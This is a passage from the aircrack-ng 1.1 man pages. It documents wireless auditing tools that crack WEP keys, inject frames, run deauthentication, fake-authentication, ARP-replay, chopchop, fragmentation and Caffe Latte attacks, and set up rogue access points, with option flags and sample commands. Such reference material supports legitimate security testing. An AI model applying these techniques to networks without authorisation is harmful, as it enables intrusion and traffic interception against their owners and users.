Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/tkiptun-ng.10000644000000000000000000000454411364647470016232 0ustar rootroot.TH TKIPTUN-NG 1 "April 2010" "Version 1.1" .SH NAME tkiptun-ng - inject a few frames into a WPA TKIP network with QoS .SH SYNOPSIS .B tkiptun-ng [options] .SH DESCRIPTION .BI tkiptun-ng is a tool created by Martin Beck aka hirte, a member of aircrack-ng team. This tool is able to inject a few frames into a WPA TKIP network with QoS. He worked with Erik Tews (who created PTW attack) for a conference in PacSec 2008: "Gone in 900 Seconds, Some Crypto Issues with WPA". .SH OPERATION .PP .TP .I -H, --help Shows the help screen. .TP .B Filter options: .TP .I -d MAC address of destination. .TP .I -s MAC address of source. .TP .I -m Minimum packet length. .TP .I -n Maximum packet length. .TP .I -t Frame control, "To" DS bit. .TP .I -f Frame control, "From" DS bit. .TP .I -D Disable AP Detection. .PP .TP .B Replay options: .TP .I -x Number of packets per second. .TP .I -p Set frame control word (hex). .TP .I -a Set Access Point MAC address. .TP .I -c Set destination MAC address. .TP .I -h Set source MAC address. .TP .I -F Choose first matching packet. .TP .I -e Set target SSID. .PP .TP .B Debug options: .TP .I -K Keystream for continuation. .TP .I -y Keystream file for continuation. .TP .I -j Inject FromFS packets. .TP .I -P Pairwise Master key (PMK) for verification or vulnerability testing. .TP .I -p Preshared key (PSK) to calculate PMK with essid. .PP .TP .B Source options: .TP .I -i Capture packets from this interface. .TP .I -r Extract packets from this pcap file. .SH AUTHOR This manual page was written by Thomas d'Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/airdecloak-ng.10000644000000000000000000000630611364647470016630 0ustar rootroot.TH AIRDECLOAK-NG 1 "April 2010" "Version 1.1" .SH NAME airuncloak-ng - Removes wep cloaked framed from a pcap file. .SH SYNOPSIS .B airuncloak-ng .SH DESCRIPTION .BI airuncloak-ng is a tool that removes wep cloaking from a pcap file. Some WIPS (actually one) can actively "prevent" cracking a WEP key by inserting chaff (fake wep frames) in the air to fool aircrack-ng. In some rare cases, cloaking fails and the key can be recovered without removing this chaff. In the cases where the key cannot be recovered, use this tool to filter out chaff. The program works by reading the input file and selecting packets from a specific network. Each selected packet is put into a list and classified (default status is "unknown"). Filters are then applied (in the order specified by the user) on this list. They will change the status of the packets (unknown, uncloaked, potentially cloaked or cloaked). The order of the filters is really important since each filter will base its analysis amongst other things on the status of the packets and different orders will give different results. Important requirement: The pcap file needs to have all packets (including beacons and all other "useless" packets) for the analysis (and if possible, prism/radiotap headers). .SH OPTIONS .PP .TP .I -h, --help Shows the help screen. .TP .I -i Path to the capture file. .TP .I --ssid Essid of the network (not yet implemented) to filter. .TP .I --bssid BSSID of the network to filter. .TP .I --null-packets Assume that null packets can be cloaked. .TP .I --disable-base-filter Do not apply base filter. .TP .I --drop-frag Drop fragmented packets. .TP .I --filters Apply different filters (separated by a comma). See below. .SH FILTERS .PP .TP .I signal Try to filter based on signal (prism or radiotap headers in the pcap file). .TP .I duplicate_sn Remove all duplicate sequence numbers for both the AP and the client (that are close to each other). .TP .I duplicate_sn_ap Remove duplicate sequence number for the AP only (that are close to each other). .TP .I duplicate_sn_client Remove duplicate sequence number for the client only (that are close to each other). .TP .I consecutive_sn Filter based on the fact that IV should be consecutive (only for AP). .TP .I duplicate_iv Filter out all duplicate IV. .TP .I signal_dup_consec_sn Use signal (if available), duplicate and consecutive sequence number (filtering is much more precise than using all these filters one by one). .SH AUTHOR This manual page was written by Thomas d'Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/makeivs-ng.10000644000000000000000000000236111364647470016166 0ustar rootroot.TH MAKEIVS-NG 1 "April 2010" "Version 1.1" .SH NAME makeivs - generate a dummy IVS dump file with a specific WEP key .SH SYNOPSIS .B makeivs <104-bit key> .SH DESCRIPTION .BI makeivs is a tool designed to generate an IVS dump file with an inputed WEP key. The aim of is tools is to provide a way to create dumps with a known encryption key for tests. .SH EXAMPLE .B makeivs makeivs out.ivs 123456789ABCDEF123456789AB .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/airtun-ng.10000644000000000000000000000421711364647470016033 0ustar rootroot.TH AIRTUN-NG 1 "April 2010" "Version 1.1" .SH NAME airtun-ng - a virtual tunnel interface creator for aircrack-ng .SH SYNOPSIS .B airtun-ng [options] .SH DESCRIPTION .BI airtun-ng creates a virtual tunnel interface (atX) for sending arbitrary IP packets by using raw ieee802.11 packet injection. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -x Sets maximum number of packets per second. .TP .I -a Specifies the BSSID for the iee802.11 header. In WDS Mode this sets the Receiver. .TP .I -h Specifies the source MAC for the iee802.11 header. .TP .I -i Sets the capture interface. .TP .I -r Specifies a file to read 802.11 frames. .TP .I -y Is the name of the file, which provides the keystream for WEP encoding. (No receiving, just transmitting of IP packets.) .TP .I -w This is the WEP key to en-/decrypt all traffic going through the tunnel. .TP .I -t Defines the ToDS and FromDS bit in the ieee802.11 header. For tods=1, the ToDS bit is set to 1 and FromDS to 0, while tods=0 sets them the other way around. If set to 2, it will be tunneled in a WDS/bridge. .TP .I -m , --netmask Filters networks based on bssid ^ netmask combination. Needs \-d, used in replay mode. .TP .I -d , --bssid Filters networks based on the . Used in replay mode. .TP .I -f, --repeat Enables replay mode. All read frames, filtered by bssid and netmask (if specified), will be replayed. .TP .I -s Set Transmitter MAC address for WDS Mode. .TP .I -b Bidirectional mode. This enables communication in Transmitter's AND Receiver's networks. Works only if you can see both stations. .SH EXAMPLES .B airtun-ng \-a 00:14:22:56:F3:4E \-t 0 \-y keystream.xor wlan0 .PP .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/wesside-ng.10000644000000000000000000000451311364647470016173 0ustar rootroot.TH WESSIDE-NG 1 "April 2010" "Version 1.1" .SH NAME wesside-ng - crack a WEP key of an open network without user intervention .SH SYNOPSIS .B wesside-ng .SH DESCRIPTION .BI wesside-ng is an auto-magic tool which incorporates a number of techniques to seamlessly obtain a WEP key in minutes. It first identifies a network, then proceeds to associate with it, obtain PRGA (pseudo random generation algorithm) xor data, determine the network IP scheme, reinject ARP requests and finally determine the WEP key. All this is done without your intervention. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -i Wireless interface name. (Mandatory) .TP .I -n Network IP as in 'who has destination IP (netip) tell source IP (myip)'. Defaults to the source IP on the ARP request which is captured and decrypted. (Optional) .TP .I -m \'who has destination IP (netip) tell source IP (myip)\'. Defaults to the network.123 on the ARP request captured (Optional). .TP .I -a Source MAC address (Optional) .TP .I -c Do not crack the key. Simply capture the packets until control-C is hit to stop the program! (Optional) .TP .I -p Determines the minimum number of bytes of PRGA which is gathered. Defaults to 128 bytes. (Optional). .TP .I -v Wireless access point MAC address (Optional). .TP .I -t For each number of IVs specified, restart the airecrack-ng PTW engine (Optional). It will restart PTW every IVs. .TP .I -f Allows the highest channel for scanning to be defined. Defaults to channel 11 (Optional). .SH AUTHOR This manual page was written by Thomas d'Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) aircrack-ng-1.1/manpages/airbase-ng.10000644000000000000000000002571711364647470016147 0ustar rootroot.TH AIRBASE-NG 1 "April 2010" "Version 1.1" .SH NAME airbase-ng - multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself .SH SYNOPSIS .B airbase-ng [options] .SH DESCRIPTION .BI airbase-ng is multi-purpose tool aimed at attacking clients as opposed to the Access Point (AP) itself. Since it is so versatile and flexible, summarizing it is a challenge. Here are some of the feature highlights: .br - Implements the Caffe Latte WEP client attack .br - Implements the Hirte WEP client attack .br - Ability to cause the WPA/WPA2 handshake to be captured .br - Ability to act as an ad-hoc Access Point .br - Ability to act as a full Access Point .br - Ability to filter by SSID or client MAC addresses .br - Ability to manipulate and resend packets .br - Ability to encrypt sent packets and decrypt received packets The main idea is of the implementation is that it should encourage clients to associate with the fake AP, not prevent them from accessing the real AP. A tap interface (atX) is created when airbase-ng is run. This can be used to receive decrypted packets or to send encrypted packets. As real clients will most probably send probe requests for common/configured networks, these frames are important for binding a client to our softAP. In this case, the AP will respond to any probe request with a proper probe response, which tells the client to authenticate to the airbase-ng BSSID. That being said, this mode could possibly disrupt the correct functionality of many APs on the same channel. .SH OPTIONS .PP .TP .I -H, --help Shows the help screen. .TP .I -a If the BSSID is not explicitly specified by using "-a ", then the current MAC of the specified interface is used. .TP .I -i Also capture and process from this interface in addition to the replay interface. .TP .I -w If WEP should be used as encryption, then the parameter "-w " sets the en-/decryption key. This is sufficient to let airbase-ng set all the appropriate flags by itself. If the softAP operates with WEP encryption, the client can choose to use open system authentication or shared key authentication. Both authentication methods are supported by airbase-ng. But to get a keystream, the user can try to force the client to use shared key authentication. "-s" forces a shared key auth and "-S " sets the challenge length. .TP .I -h This is the source MAC for the man-in-the-middle attack. The "-M" must also be specified. .TP .I -f If this option is not specified, it defaults to "-f allow". This means the various client MAC filters (-d and -D) define which clients to accept. By using the "-f disallow" option, this reverses selection and causes airbase to ignore the clients specified by the filters. .TP .I -W <0|1> This sets the beacon WEP flag. Remember that clients will normally only connect to APs which are the same as themselves. Meaning WEP to WEP, open to open. The "auto" option is to allow airbase-ng to automatically set the flag based on context of the other options specified. For example, if you set a WEP key with -w, then the beacon flag would be set to WEP. One other use of "auto" is to deal with clients which can automatically adjust their connection type. However, these are few and far between. In practice, it is best to set the value to the type of clients you are dealing with. .TP .I -q This surpresses printing any statistics or status information. .TP .I -v This prints additional messages and details to assist in debugging. .TP .I -M This option is not implemented yet. It is a man-in-the-middle attack between specified clients and BSSIDs. .TP .I -A, --ad-hoc This causes airbase-ng to act as an ad-hoc client instead of a normal Access Point. In ad-hoc mode airbase-ng also sends beacons, but doesn't need any authentication/association. It can be activated by using "-A". The soft AP will adjust all flags needed to simulate a station in ad-hoc mode automatically and generate a random MAC, which is used as CELL MAC instead of the BSSID. This can be overwritten by the "-a " tag. The interface MAC will then be used as source mac, which can be changed with "-h ". .TP .I -Y The parameter "-Y" enables the "external processing" Mode. This creates a second interface "atX", which is used to replay/modify/drop or inject packets at will. This interface must also be brought up with ifconfig and an external tool is needed to create a loop on that interface. The packet structure is rather simple: the ethernet header (14 bytes) is ignored and right after that follows the complete ieee80211 frame the same way it is going to be processed by airbase-ng (for incoming packets) or before the packets will be sent out of the wireless card (outgoing packets). This mode intercepts all data packets and loops them through an external application, which decides what happens with them. The MAC and IP of the second tap interface doesn't matter, as real ethernet frames on this interface are dropped dropped anyway. There are 3 arguments for "-Y": "in", "out" and "both", which specify the direction of frames to loop through the external application. Obviously "in" redirects only incoming (through the wireless NIC) frames, while outgoing frames aren't touched. "out" does the opposite, it only loops outgoing packets and "both" sends all both directions through the second tap interface. There is a small and simple example application to replay all frames on the second interface. The tool is called "replay.py" and is located in "./test". It's written in python, but the language doesn't matter. It uses pcapy to read the frames and scapy to possibly alter/show and reinject the frames. The tool as it is, simply replays all frames and prints a short summary of the received frames. The variable "packet" contains the complete ieee80211 packet, which can easily be dissected and modified using scapy. This can be compared to ettercap filters, but is more powerful, as a real programming language can be used to build complex logic for filtering and packet customization. The downside on using python is, that it adds a delay of around 100ms and the cpu utilizations is rather large on a high speed network, but its perfect for a demonstration with only a few lines of code. .TP .I -c This is used to specify the channel on which to run the Access Point. .TP .I -X, --hidden This causes the Access Point to hide the SSID and to not broadcast the value. .TP .I -s When specfiied, this forces shared key authentication for all clients. The soft AP will send an "authentication method unsupported" rejection to any open system authentication request if "-s" is specified. .TP .I -S It sets the shared key challenge length, which can be anything from 16 to 1480. The default is 128 bytes. It is the number of bytes used in the random challenge. Since one tag can contain a maximum size of 255 bytes, any value above 255 creates several challenge tags until all specified bytes are written. Many clients ignore values different than 128 bytes so this option may not always work. .TP .I -L, --caffe-latte Airbase-ng also contains the new caffe-latte attack, which is also implemented in aireplay-ng as attack "-6". It can be used with "-L" or "caffe-latte". This attack specifically works against clients, as it waits for a broadcast arp request, which happens to be a gratuitous arp. See this for an explaination of what a gratuitous arp is. It then flips a few bits in the sender MAC and IP, corrects the ICV (crc32) value and sends it back to the client, where it came from. The point why this attack works in practice is, that at least windows sends gratuitous arps after a connection on layer 2 is established and a static ip is set, or dhcp fails and windows assigned an IP out of 169.254.X.X. "-x " sets the number of packets per second to send when performing the caffe-latte attack. At the moment, this attack doesn't stop, it continuously sends arp requests. Airodump-ng is needed to capture the replys. .TP .I -N, --cfrag This attack listens for an ARP request or IP packet from the client. Once one is received, a small amount of PRGA is extracted and then used to create an ARP request packet targeted to the client. This ARP request is actually made of up of multiple packet fragments such that when received, the client will respond. This attack works especially well against ad-hoc networks. As well it can be used against softAP clients and normal AP clients. .TP .I -x This sets the number of packets per second that packets will be sent (default: 100). .TP .I -y When using this option, the fake AP will not respond to broadcast probes. A broadcast probe is where the the specific AP is not identified uniquely. Typically, most APs will respond with probe responses to a broadcast probe. This flag will prevent this happening. It will only respond when the specific AP is uniquely requested. .TP .I -0 This enables all WPA/WPA2/WEP Tags to be enabled in the beacons sent. It cannot be specified when also using -z or -Z. .TP .I -z This specifies the WPA beacon tags. The valid values are: 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104. .TP .I -Z same as -z, but for WPA2 .TP .I -V This specifies the valid EAPOL types. The valid values are: 1=MD5 2=SHA1 3=auto .TP .I -F This option causes airbase-ng to write all sent and received packets to a pcap file on disk. This is the file prefix (like airodump-ng -w). .TP .I -P This causes the fake access point to respond to all probes regardless of the ESSIDs specified. .TP .I -I This sets the time in milliseconds between each beacon. .TP .I -C The wildcard ESSIDs will also be beaconed this number of seconds. A good typical value to use is "-C 60" (require -P). .PP .TP .B Filter options: .TP .I --bssid , -b BSSID to filter/use. .TP .I --bssids , -B Read a list of BSSIDs out of that file. .TP .I --client , -d MAC of client to accept. .TP .I --clients , -D Read a list of client's MACs out of that file .TP .I --essid , -e Specify a single ESSID. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I --essids , -E read a list of ESSIDs out of that file. .SH AUTHOR This manual page was written by Thomas d'Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .PP .SH SEE ALSO .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/aireplay-ng.10000644000000000000000000002055411364647470016341 0ustar rootroot.TH AIREPLAY-NG 1 "April 2010" "Version 1.1" .SH NAME aireplay-ng - inject packets into a wireless network to generate traffic .SH SYNOPSIS .B aireplay-ng [options] .SH DESCRIPTION .B aireplay-ng is used to inject/replay frames. The primary function is to generate traffic for the later use in aircrack-ng for cracking the WEP and WPA-PSK keys. There are different attacks which can cause deauthentications for the purpose of capturing WPA handshake data, fake authentications, Interactive packet replay, hand-crafted ARP request injection and ARP-request reinjection. With the packetforge-ng tool it's possible to create arbitrary frames. .br .PP .B aireplay-ng supports single-NIC injection/monitor. .br This feature needs driver patching. .br .SH OPTIONS .TP .I -H, --help Shows the help screen. .PP .TP .B Filter options: .TP .I -b MAC address of access point. .TP .I -d MAC address of destination. .TP .I -s MAC address of source. .TP .I -m Minimum packet length. .TP .I -n Maximum packet length. .TP .I -u Frame control, type field. .TP .I -v Frame control, subtype field. .TP .I -t Frame control, "To" DS bit (0 or 1). .TP .I -f Frame control, "From" DS bit (0 or 1). .TP .I -w Frame control, WEP bit (0 or 1). .TP .I -D Disable AP Detection. .PP .TP .B Replay options: .TP .I -x Number of packets per second. .TP .I -p Set frame control word (hex). .TP .I -a Set Access Point MAC address. .TP .I -c Set destination MAC address. .TP .I -h Set source MAC address. .TP .I -g Change ring buffer size (default: 8 packets). The minimum is 1. .TP .I -F Choose first matching packet. .TP .I -e Fake Authentication attack: Set target SSID (see below). For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I -o Fake Authentication attack: Set the number of packets for every authentication and association attempt (Default: 1). 0 means auto .TP .I -q Fake Authentication attack: Set the time between keep-alive packets in fake authentication mode. .TP .I -y Fake Authentication attack: Specifies the keystream file for fake shared key authentication. .TP .I -T n Fake Authentication attack: Exit if fake authentication fails 'n' time(s). .TP .I -j ARP Replay attack : inject FromDS pakets (see below). .TP .I -k Fragmentation attack: Set destination IP in fragments. .TP .I -l Fragmentation attack: Set source IP in fragments. .TP .I -B Test option: bitrate test. .PP .TP .B Source options: .TP .I -i Capture packets from this interface. .TP .I -r Extract packets from this pcap file. .PP .TP .B Miscellaneous options: .TP .I -R disable /dev/rtc usage. .PP .TP .B Attack modes: .TP .I -0 , --deauth= This attack sends deauthentication packets to one or more clients which are currently associated with a particular access point. Deauthenticating clients can be done for a number of reasons: Recovering a hidden ESSID. This is an ESSID which is not being broadcast. Another term for this is "cloaked" or Capturing WPA/WPA2 handshakes by forcing clients to reauthenticate or Generate ARP requests (Windows clients sometimes flush their ARP cache when disconnected). Of course, this attack is totally useless if there are no associated wireless client or on fake authentications. .TP .I -1 , --fakeauth= The fake authentication attack allows you to perform the two types of WEP authentication (Open System and Shared Key) plus associate with the access point (AP). This is useful is only useful when you need an associated MAC address in various aireplay-ng attacks and there is currently no associated client. It should be noted that the fake authentication attack does NOT generate any ARP packets. Fake authentication cannot be used to authenticate/associate with WPA/WPA2 Access Points. .TP .I -2, --interactive This attack allows you to choose a specific packet for replaying (injecting). The attack can obtain packets to replay from two sources. The first being a live flow of packets from your wireless card. The second being from a pcap file. Reading from a file is an often overlooked feature of aireplay-ng. This allows you read packets from other capture sessions or quite often, various attacks generate pcap files for easy reuse. A common use of reading a file containing a packet your created with packetforge-ng. .TP .I -3, --arpreplay The classic ARP request replay attack is the most effective way to generate new initialization vectors (IVs), and works very reliably. The program listens for an ARP packet then retransmits it back to the access point. This, in turn, causes the access point to repeat the ARP packet with a new IV. The program retransmits the same ARP packet over and over. However, each ARP packet repeated by the access point has a new IVs. It is all these new IVs which allow you to determine the WEP key. .TP .I -4, --chopchop This attack, when successful, can decrypt a WEP data packet without knowing the key. It can even work against dynamic WEP. This attack does not recover the WEP key itself, but merely reveals the plaintext. However, some access points are not vulnerable to this attack. Some may seem vulnerable at first but actually drop data packets shorter that 60 bytes. If the access point drops packets shorter than 42 bytes, aireplay tries to guess the rest of the missing data, as far as the headers are predictable. If an IP packet is captured, it additionally checks if the checksum of the header is correct after guessing the missing parts of it. This attack requires at least one WEP data packet. .TP .I -5, --fragment This attack, when successful, can obtain 1500 bytes of PRGA (pseudo random generation algorithm). This attack does not recover the WEP key itself, but merely obtains the PRGA. The PRGA can then be used to generate packets with packetforge-ng which are in turn used for various injection attacks. It requires at least one data packet to be received from the access point in order to initiate the attack. .TP .I -6, --caffe-latte In general, for an attack to work, the attacker has to be in the range of an AP and a connected client (fake or real). Caffe Latte attacks allows to gather enough packets to crack a WEP key without the need of an AP, it just need a client to be in range. .TP .I -7, --cfrag This attack turns IP or ARP packets from a client into ARP request against the client. This attack works especially well against ad-hoc networks. As well it can be used against softAP clients and normal AP clients. .TP .I -9, --test Tests injection and quality. .SH FRAGMENTATION VERSUS CHOPCHOP .PP .PP .B Fragmentation: .TP .PP .I Pros .br - Can obtain the full packet length of 1500 bytes XOR. This means you can subsequently pretty well create any size of packet. .br - May work where chopchop does not .br - Is extremely fast. It yields the XOR stream extremely quickly when successful. .TP .PP .I Cons .br - Setup to execute the attack is more subject to the device drivers. For example, Atheros does not generate the correct packets unless the wireless card is set to the mac address you are spoofing. .br - You need to be physically closer to the access point since if any packets are lost then the attack fails. .PP .B Chopchop .TP .PP .I Pro .br - May work where frag does not work. .TP .PP .I Cons .br - Cannot be used against every access point. .br - The maximum XOR bits is limited to the length of the packet you chopchop against. .br - Much slower then the fragmentation attack. .br .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/buddy-ng.10000644000000000000000000000236611364647470015643 0ustar rootroot.TH BUDDY-NG 1 "April 2010" "Version 1.1" .SH NAME buddy-ng - a tool to work with easside-ng .SH SYNOPSIS .B buddy-ng .SH DESCRIPTION .BI buddy-ng server echoes back the decrypted packets to the system running easside-ng in order to access the wireless network without knowing the WEP key. It is done by having the AP itself decrypt the packets. When runned, it automatically starts and listen to port 6969. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -p Don't drop privileges .SH AUTHOR This manual page was written by Thomas d'Otreppe. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/kstats.10000644000000000000000000000244511364647470015441 0ustar rootroot.TH KSTATS 1 "April 2010" "Version 1.1" .SH NAME kstats - show statistical FMS algorithm votes for an ivs dump and a specified WEP key .SH SYNOPSIS .B kstats <104-bit key> .SH DESCRIPTION .BI kstats is a tool designed to show the FMS algorithm votes for an ivs dump (intialization vectors) with a specified WEP key. The ivs dump can be get by using the combinaison of both airodump(1) and ivstools(1). .SH EXAMPLE .B kstats kstats out.ivs 123456789ABCDEF123456789AB .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecap-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/airdecap-ng.10000644000000000000000000000335211364647470016300 0ustar rootroot.TH AIRDECAP-NG 1 "April 2010" "Version 1.1" .SH NAME airdecap-ng - decrypt a WEP/WPA crypted pcap file .SH SYNOPSIS .B airdecap-ng [options] .SH DESCRIPTION .BI airdecap-ng decrypts a WEP/WPA crypted pcap file to a uncrypted one by using the right WEP/WPA keys. .SH OPTIONS .TP .I -H, --help Shows the help screen. .TP .I -l Do not remove the 802.11 header. .TP .I -b Access point MAC address filter. .TP .I -k WPA Pairwise Master Key in hex. .TP .I -e Target network SSID. For SSID containing special characters, see http://www.aircrack-ng.org/doku.php?id=faq#how_to_use_spaces_double_quote_and_single_quote_etc._in_ap_names .TP .I -p Target network WPA passphrase. .TP .I -w Target network WEP key in hex. .SH EXAMPLES airdecap-ng \-b 00:09:5B:10:BC:5A open-network.cap .br airdecap-ng \-w 11A3E229084349BC25D97E2939 wep.cap .br airdecap-ng \-e my_essid \-p my_passphrase tkip.cap .br .SH AUTHOR This manual page was written by Adam Cecile for the Debian system (but may be used by others). Permission is granted to copy, distribute and/or modify this document under the terms of the GNU General Public License, Version 2 or any later version published by the Free Software Foundation On Debian systems, the complete text of the GNU General Public License can be found in /usr/share/common-licenses/GPL. .SH SEE ALSO .br .B airbase-ng(1) .br .B aircrack-ng(1) .br .B airdecloak-ng(1) .br .B airdriver-ng(1) .br .B aireplay-ng(1) .br .B airmon-ng(1) .br .B airodump-ng(1) .br .B airolib-ng(1) .br .B airserv-ng(1) .br .B airtun-ng(1) .br .B buddy-ng(1) .br .B easside-ng(1) .br .B ivstools(1) .br .B kstats(1) .br .B makeivs-ng(1) .br .B packetforge-ng(1) .br .B tkiptun-ng(1) .br .B wesside-ng(1) aircrack-ng-1.1/manpages/airserv-ng.10000644000000000000000000000360411364647470016203 0ustar rootroot.TH AIRSERV-NG 1 "April 2010" "Version 1.1" .SH NAME airserv-ng - a wireless card server .SH SYNOPSIS .B airserv-ng .SH DESCRIPTION .BI airserv-ng is a wireless card server which allows multiple wireless application programs to independently use a wireless card via a client-server TCP network connection. All operating system and wireless card driver specific code is incorporated into the server. This eliminates the need for each wireless application to contain the complex wireless card and driver logic. It is also supports multiple operating systems. .SH OPTIONS .PP .TP .I -h Shows the help screen. .TP .I -p TCP port to listen on (by default: 666). .TP .I -d Wifi interface to use. .TP .I -c Lock interface to this channel. .TP .I -v Debug level. There are 3 debug levels. Debug level of 1 shows client connection/disconnection (default). Debug level of 2 shows channel change requests and invalid client command requests in addition to the debug level 1 messages. Debug level of 3 displays a message each time a packet (and its length) is sent to the client. It also include 